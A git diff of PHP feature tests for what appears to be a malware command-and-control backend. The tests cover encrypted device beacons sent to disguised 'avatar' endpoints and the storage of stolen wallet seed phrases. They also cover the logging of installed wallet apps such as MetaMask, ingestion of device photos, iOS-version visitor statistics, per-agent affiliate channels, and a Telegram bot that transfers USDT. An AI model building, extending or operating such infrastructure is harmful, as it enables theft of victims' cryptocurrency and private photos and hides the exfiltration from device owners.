feat: new chain
This commit is contained in:
@@ -212,7 +212,7 @@ class AdminAgentPortalTest extends TestCase
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.total', 2)
|
||||
->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'pv', 'uv', 'from', 'to']]);
|
||||
->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'by_os', 'by_ios_version', 'from', 'to']]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
+77
-14
@@ -32,7 +32,7 @@ class C2ApiTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function upsert_refreshes_updated_at_on_repeat_request(): void
|
||||
public function avatar_put_creates_device_and_repeat_only_touches_updated_at(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$payload = [
|
||||
@@ -43,7 +43,7 @@ class C2ApiTest extends TestCase
|
||||
];
|
||||
$ts1 = '1722585600001';
|
||||
$enc1 = $crypto->encryptJson($payload, $ts1);
|
||||
$this->call('POST', '/api/user/avatar/set', [], [], [], [
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts1,
|
||||
'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0',
|
||||
@@ -51,25 +51,93 @@ class C2ApiTest extends TestCase
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-active-1')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('iPhone9,1', $device->device_model);
|
||||
$this->assertSame('15.8.4', $device->ios_version);
|
||||
$this->assertSame('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', $device->channel_id);
|
||||
$this->assertStringContainsString('CorunaLab-Active/1.0', (string) $device->user_agent);
|
||||
$firstUpdated = $device->updated_at?->copy();
|
||||
$this->assertNotNull($firstUpdated);
|
||||
$firstIp = $device->ip;
|
||||
$firstUa = $device->user_agent;
|
||||
|
||||
sleep(1);
|
||||
|
||||
$ts2 = '1722585600002';
|
||||
$enc2 = $crypto->encryptJson($payload, $ts2);
|
||||
$this->call('POST', '/api/user/avatar/set', [], [], [], [
|
||||
$enc2 = $crypto->encryptJson([
|
||||
'd' => 'dev-active-1',
|
||||
'm' => 'iPhone14,2',
|
||||
'pv' => '16.0',
|
||||
'c' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
], $ts2);
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts2,
|
||||
'HTTP_USER_AGENT' => 'CorunaLab-Active/1.0',
|
||||
'HTTP_USER_AGENT' => 'CorunaLab-Active/2.0',
|
||||
'REMOTE_ADDR' => '9.9.9.9',
|
||||
], $enc2['body'])->assertOk();
|
||||
|
||||
$device->refresh();
|
||||
$this->assertTrue($device->updated_at->greaterThan($firstUpdated));
|
||||
$this->assertSame('iPhone9,1', $device->device_model);
|
||||
$this->assertSame('15.8.4', $device->ios_version);
|
||||
// First trusted channel sticks; later put must not overwrite.
|
||||
$this->assertSame('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', $device->channel_id);
|
||||
$this->assertSame($firstUa, $device->user_agent);
|
||||
$this->assertSame($firstIp, $device->ip);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function avatar_set_ingests_device_model_and_ua(): void
|
||||
public function non_put_creates_device_without_channel_and_put_fills_channel_once(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$tsSet = '1722585600100';
|
||||
$encSet = $crypto->encryptJson([
|
||||
'd' => 'dev-channel-fill',
|
||||
'c' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'a' => 'a1',
|
||||
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
], $tsSet);
|
||||
$this->call('POST', '/api/user/set', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsSet,
|
||||
], $encSet['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-channel-fill')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertNull($device->channel_id);
|
||||
$this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
||||
|
||||
$tsPut = '1722585600101';
|
||||
$encPut = $crypto->encryptJson([
|
||||
'd' => 'dev-channel-fill',
|
||||
'c' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
'et' => 'heartbeat',
|
||||
], $tsPut);
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsPut,
|
||||
], $encPut['body'])->assertOk();
|
||||
|
||||
$device->refresh();
|
||||
$this->assertSame('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', $device->channel_id);
|
||||
|
||||
$tsPut2 = '1722585600102';
|
||||
$encPut2 = $crypto->encryptJson([
|
||||
'd' => 'dev-channel-fill',
|
||||
'c' => 'cccccccccccccccccccccccccccccccc',
|
||||
'et' => 'heartbeat',
|
||||
], $tsPut2);
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsPut2,
|
||||
], $encPut2['body'])->assertOk();
|
||||
|
||||
$device->refresh();
|
||||
$this->assertSame('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', $device->channel_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function avatar_set_does_not_create_device(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$payload = [
|
||||
@@ -99,14 +167,7 @@ class C2ApiTest extends TestCase
|
||||
$resp->assertOk();
|
||||
$plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp'));
|
||||
$this->assertSame(0, $plain['code'] ?? null);
|
||||
|
||||
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('34f5121f572d6742703eb84ec2f866a6', $device->channel_id);
|
||||
$this->assertSame('15.8.4', $device->ios_version);
|
||||
$this->assertSame('iPhone9,1', $device->device_model);
|
||||
$this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent);
|
||||
$this->assertSame(0, $device->apps()->count());
|
||||
$this->assertNull(Device::query()->where('device_id', '000430C910E8E526')->first());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -116,6 +177,7 @@ class C2ApiTest extends TestCase
|
||||
$payload = [
|
||||
'd' => '000430C910E8E526',
|
||||
'f' => '000430C910E8E526',
|
||||
'c' => 'dddddddddddddddddddddddddddddddd',
|
||||
'v' => '15.8.4',
|
||||
'al' => [
|
||||
['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'],
|
||||
@@ -132,6 +194,7 @@ class C2ApiTest extends TestCase
|
||||
|
||||
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertNull($device->channel_id);
|
||||
$this->assertSame('15.8.4', $device->ios_version);
|
||||
|
||||
$mm = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->first();
|
||||
|
||||
@@ -0,0 +1,116 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class DeviceAlbumStorageTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function album_storage_defaults_on(): void
|
||||
{
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-album-default',
|
||||
]);
|
||||
|
||||
$this->assertTrue($device->fresh()->albumStorageEnabled());
|
||||
$this->assertTrue((bool) $device->fresh()->album_storage);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ingest_skips_photos_when_album_storage_off(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-album-off',
|
||||
'album_storage' => false,
|
||||
]);
|
||||
|
||||
$tmp = sys_get_temp_dir().'/coruna_album_'.uniqid().'.jpg';
|
||||
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
|
||||
|
||||
app(IngestService::class)->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
||||
|
||||
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
|
||||
@unlink($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_toggle_album_storage(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-toggle']);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->putJson(route('admin.devices.update', $device), ['album_storage' => 0])
|
||||
->assertOk()
|
||||
->assertJsonPath('data.album_storage', 0);
|
||||
|
||||
$this->assertFalse($device->fresh()->albumStorageEnabled());
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->putJson(route('admin.devices.update', $device), ['album_storage' => 1])
|
||||
->assertOk()
|
||||
->assertJsonPath('data.album_storage', 1);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function clear_photos_removes_rows_and_files(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-clear']);
|
||||
|
||||
$path = 'c2/photos/dev-clear/abc_hit.jpg';
|
||||
Storage::disk('local')->put($path, "\xFF\xD8\xFF\xD9");
|
||||
Photo::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'sha256' => hash('sha256', "\xFF\xD8\xFF\xD9"),
|
||||
'path' => $path,
|
||||
'size' => 4,
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.devices.photos.clear', $device))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.deleted_rows', 1);
|
||||
|
||||
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
|
||||
Storage::disk('local')->assertMissing($path);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_cannot_clear_other_channel_device_photos(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_album',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
$other = Device::query()->create([
|
||||
'device_id' => 'dev-other',
|
||||
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
]);
|
||||
|
||||
$this->actingAs($agent, 'agent')
|
||||
->postJson(route('user.devices.photos.clear', $other))
|
||||
->assertForbidden();
|
||||
}
|
||||
}
|
||||
@@ -107,13 +107,38 @@ class PageVisitTest extends TestCase
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'u3',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '17.0',
|
||||
'browser' => 'Safari',
|
||||
'browser_version' => '17.0',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => self::CHANNEL,
|
||||
'client_uid' => 'u4',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.0',
|
||||
'browser' => 'Chrome',
|
||||
'browser_version' => '119.0',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.dashboard.data', ['range' => 'today']))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.pv', 3)
|
||||
->assertJsonPath('data.uv', 2)
|
||||
->assertJsonStructure(['data' => ['by_os', 'by_browser', 'pv', 'uv']]);
|
||||
->assertJsonPath('data.pv', 5)
|
||||
->assertJsonPath('data.uv', 4)
|
||||
->assertJsonPath('data.effective_pv', 2)
|
||||
->assertJsonPath('data.effective_uv', 1)
|
||||
->assertJsonPath('data.by_os.0.label', 'iOS')
|
||||
->assertJsonPath('data.by_os.0.pv', 4)
|
||||
->assertJsonPath('data.by_os.1.label', '其他')
|
||||
->assertJsonPath('data.by_os.1.pv', 1)
|
||||
->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv']]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -2,7 +2,11 @@
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Services\TransferService;
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Mockery;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
@@ -18,6 +22,8 @@ class TelegramBotTest extends TestCase
|
||||
|
||||
private const OWNER_CHAT = -1001234567890;
|
||||
|
||||
private const AGENT_CHAT = -1009876543210;
|
||||
|
||||
private const USER_ID = 4242;
|
||||
|
||||
protected function setUp(): void
|
||||
@@ -29,6 +35,8 @@ class TelegramBotTest extends TestCase
|
||||
'nutgram.token' => FakeNutgram::TOKEN,
|
||||
]);
|
||||
|
||||
app(TelegramBotContext::class)->setAgent(null);
|
||||
|
||||
// Nutgram is a singleton; reset so FakeNutgram mock queues stay isolated.
|
||||
$this->app->forgetInstance(Nutgram::class);
|
||||
$this->app->forgetInstance('nutgram');
|
||||
@@ -88,9 +96,34 @@ class TelegramBotTest extends TestCase
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
foreach (['/ping', '/help', '/data', '/channel', '/transfer Txxx USDT 1'] as $text) {
|
||||
$this->app->forgetInstance(Nutgram::class);
|
||||
$this->app->forgetInstance('nutgram');
|
||||
$this->app->forgetInstance('telegram');
|
||||
$this->app->forgetInstance(FakeNutgram::class);
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => $text,
|
||||
'chat' => ['id' => 999, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'],
|
||||
])->reply();
|
||||
|
||||
$bot->assertCalled('sendMessage', 0);
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function private_chat_is_silent_even_with_matching_id(): void
|
||||
{
|
||||
config(['coruna.telegram.owner_chat_id' => (string) self::USER_ID]);
|
||||
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/ping',
|
||||
'chat' => ['id' => 999, 'type' => ChatType::SUPERGROUP->value],
|
||||
'text' => '/help',
|
||||
'chat' => ['id' => self::USER_ID, 'type' => ChatType::PRIVATE->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'],
|
||||
])->reply();
|
||||
|
||||
@@ -109,7 +142,7 @@ class TelegramBotTest extends TestCase
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/ping',
|
||||
'text' => '/help',
|
||||
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'X'],
|
||||
])->reply();
|
||||
@@ -118,6 +151,35 @@ class TelegramBotTest extends TestCase
|
||||
$bot->assertReplyText('⛔ Only group admins can use this command.', 1);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_help_lists_commands(): void
|
||||
{
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/help',
|
||||
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
])->reply();
|
||||
|
||||
$bot->assertCalled('sendMessage', 1);
|
||||
$history = $bot->getRequestHistory();
|
||||
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$text = $last['text'] ?? '';
|
||||
$this->assertStringContainsString('/help', $text);
|
||||
$this->assertStringContainsString('/data', $text);
|
||||
$this->assertStringContainsString('/channel', $text);
|
||||
$this->assertStringContainsString('/transfer', $text);
|
||||
$this->assertStringContainsString('/ping', $text);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_ping_replies_pong(): void
|
||||
{
|
||||
@@ -145,7 +207,14 @@ class TelegramBotTest extends TestCase
|
||||
$mock = Mockery::mock(TransferService::class);
|
||||
$mock->shouldReceive('handle')
|
||||
->once()
|
||||
->with('tron', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', '10', 'USDT')
|
||||
->withArgs(function (...$args) {
|
||||
return ($args[0] ?? null) === 'tron'
|
||||
&& ($args[1] ?? null) === 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'
|
||||
&& ($args[2] ?? null) === '10'
|
||||
&& ($args[3] ?? null) === 'USDT'
|
||||
&& is_string($args[4] ?? null)
|
||||
&& str_starts_with((string) $args[4], 'telegram:');
|
||||
})
|
||||
->andReturn([
|
||||
'ok' => true,
|
||||
'txid' => 'deadbeef',
|
||||
@@ -176,4 +245,307 @@ class TelegramBotTest extends TestCase
|
||||
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$this->assertStringContainsString('deadbeef', $last['text'] ?? '');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_data_reports_dashboard_stats(): void
|
||||
{
|
||||
$channel = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => $channel,
|
||||
'client_uid' => 'u1',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.6',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => $channel,
|
||||
'client_uid' => 'u2',
|
||||
'os' => 'Android',
|
||||
'os_version' => '13',
|
||||
'browser' => 'Chrome',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/data 1 '.$channel,
|
||||
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
])->reply();
|
||||
|
||||
$bot->assertCalled('sendMessage', 1);
|
||||
$history = $bot->getRequestHistory();
|
||||
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$text = $last['text'] ?? '';
|
||||
$this->assertStringContainsString('页面 PV: 1 / 2', $text);
|
||||
$this->assertStringContainsString('按 iOS 版本', $text);
|
||||
$this->assertStringContainsString($channel, $text);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_channel_lists_copyable_links(): void
|
||||
{
|
||||
config(['coruna.channel_domains' => ['example.com']]);
|
||||
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'remark' => '主站',
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/channel',
|
||||
'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Admin'],
|
||||
])->reply();
|
||||
|
||||
$bot->assertCalled('sendMessage', 1);
|
||||
$history = $bot->getRequestHistory();
|
||||
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$this->assertStringContainsString('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', $last['text'] ?? '');
|
||||
$this->assertStringContainsString('主站', $last['text'] ?? '');
|
||||
$this->assertStringContainsString('官方', $last['text'] ?? '');
|
||||
$this->assertArrayHasKey('reply_markup', $last);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_bot_only_sees_own_channels_and_stats(): void
|
||||
{
|
||||
$agentA = User::query()->create([
|
||||
'username' => 'agent_a',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'chat_id' => (string) self::AGENT_CHAT,
|
||||
'bot_token' => '111:AAA',
|
||||
]);
|
||||
$agentB = User::query()->create([
|
||||
'username' => 'agent_b',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'chat_id' => '-100111',
|
||||
'bot_token' => '222:BBB',
|
||||
]);
|
||||
|
||||
$chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
$chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
||||
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1, 'remark' => 'A站']);
|
||||
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1, 'remark' => 'B站']);
|
||||
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => $chA,
|
||||
'client_uid' => 'ua',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.0',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => $chB,
|
||||
'client_uid' => 'ub',
|
||||
'os' => 'iOS',
|
||||
'os_version' => '16.0',
|
||||
'browser' => 'Safari',
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
app(TelegramBotContext::class)->setAgent($agentA);
|
||||
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/channel',
|
||||
'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
])->reply();
|
||||
|
||||
$history = $bot->getRequestHistory();
|
||||
$channelMsg = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$this->assertStringContainsString($chA, $channelMsg['text'] ?? '');
|
||||
$this->assertStringNotContainsString($chB, $channelMsg['text'] ?? '');
|
||||
|
||||
$this->app->forgetInstance(Nutgram::class);
|
||||
$this->app->forgetInstance('nutgram');
|
||||
$this->app->forgetInstance('telegram');
|
||||
$this->app->forgetInstance(FakeNutgram::class);
|
||||
app(TelegramBotContext::class)->setAgent($agentA);
|
||||
|
||||
/** @var FakeNutgram $bot2 */
|
||||
$bot2 = app(Nutgram::class);
|
||||
$bot2->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
$bot2->hearMessage([
|
||||
'text' => '/data 1',
|
||||
'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
])->reply();
|
||||
|
||||
$history2 = $bot2->getRequestHistory();
|
||||
$dataMsg = FakeNutgram::getActualData(array_values($history2[array_key_last($history2)])[0]);
|
||||
$this->assertStringContainsString('页面 PV: 1 / 1', $dataMsg['text'] ?? '');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_bot_rejects_foreign_channel_and_transfer(): void
|
||||
{
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_x',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'chat_id' => (string) self::AGENT_CHAT,
|
||||
'bot_token' => '111:AAA',
|
||||
]);
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'cccccccccccccccccccccccccccccccc',
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
$foreign = 'dddddddddddddddddddddddddddddddd';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $foreign,
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
app(TelegramBotContext::class)->setAgent($agent);
|
||||
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
|
||||
$bot->hearMessage([
|
||||
'text' => '/data 1 '.$foreign,
|
||||
'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
])->reply();
|
||||
|
||||
$history = $bot->getRequestHistory();
|
||||
$msg = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$this->assertStringContainsString('无权查看该渠道', $msg['text'] ?? '');
|
||||
|
||||
$this->app->forgetInstance(Nutgram::class);
|
||||
$this->app->forgetInstance('nutgram');
|
||||
$this->app->forgetInstance('telegram');
|
||||
$this->app->forgetInstance(FakeNutgram::class);
|
||||
app(TelegramBotContext::class)->setAgent($agent);
|
||||
|
||||
/** @var FakeNutgram $bot2 */
|
||||
$bot2 = app(Nutgram::class);
|
||||
$bot2->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
$bot2->hearMessage([
|
||||
'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH USDT 1',
|
||||
'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
])->reply();
|
||||
|
||||
$history2 = $bot2->getRequestHistory();
|
||||
$transferMsg = FakeNutgram::getActualData(array_values($history2[array_key_last($history2)])[0]);
|
||||
$this->assertStringContainsString('仅限官方', $transferMsg['text'] ?? '');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_help_hides_transfer(): void
|
||||
{
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_help',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'chat_id' => (string) self::AGENT_CHAT,
|
||||
'bot_token' => '111:AAA',
|
||||
]);
|
||||
app(TelegramBotContext::class)->setAgent($agent);
|
||||
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
$bot->hearMessage([
|
||||
'text' => '/help',
|
||||
'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
])->reply();
|
||||
|
||||
$history = $bot->getRequestHistory();
|
||||
$msg = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$this->assertStringContainsString('/data', $msg['text'] ?? '');
|
||||
